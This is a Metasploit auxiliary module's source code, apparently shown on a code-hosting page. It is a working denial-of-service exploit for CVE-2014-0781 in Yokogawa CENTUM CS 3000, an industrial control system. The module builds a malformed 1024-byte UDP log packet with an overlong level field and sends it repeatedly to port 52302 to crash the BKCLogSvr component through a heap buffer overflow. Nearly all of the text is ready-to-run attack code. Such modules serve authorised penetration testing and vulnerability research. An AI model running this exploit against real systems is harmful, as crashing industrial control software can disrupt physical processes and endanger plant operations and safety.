Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/scada/yokogawa_logsvr.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow',12'Description' => %q{13This module abuses a buffer overflow vulnerability to trigger a Denial of Service14of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability15exists in the handling of malformed log packets, with an unexpected long level field.16The root cause of the vulnerability is a combination of usage of uninitialized memory17from the stack and a dangerous string copy. This module has been tested successfully18on Yokogawa CENTUM CS 3000 R3.08.50.19},20'Author' =>21[22'juan vazquez',23'Redsadic <julian.vilas[at]gmail.com>'24],25'References' =>26[27[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],28[ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities/' ],29[ 'CVE', '2014-0781']30],31'DisclosureDate' => '2014-03-10',32))3334register_options(35[36Opt::RPORT(52302),37OptInt.new('RLIMIT', [true, "Number of packets to send", 10])38])39end4041def run42if datastore['RLIMIT'] < 243print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.")44return45end4647# Crash due to read bad memory48test = [1024].pack("V") # packet length49test << "AAAA" # Unknown50test << "SOURCE\x00\x00" # Source51test << "\x00" * 8 # Padding52test << "B" * (1024 - test.length) # Level & Message coalesced5354connect_udp5556# Sending two consecutives packages is enough to57# trigger the overflow and cause the DoS. But if58# legit packets are processed by the server, between59# the two malformed packages, overflow won't happen.60# Unfortunately because of the usage of UDP and the61# absence of answer, there isn't a reliable way to62# check if the DoS condition has been triggered.63print_status("Sending #{datastore['RLIMIT']} packets...")64(1..datastore['RLIMIT']).each do |i|65vprint_status("Sending #{i}/#{datastore['RLIMIT']}...")66udp_sock.put(test)67end6869disconnect_udp70end71end727374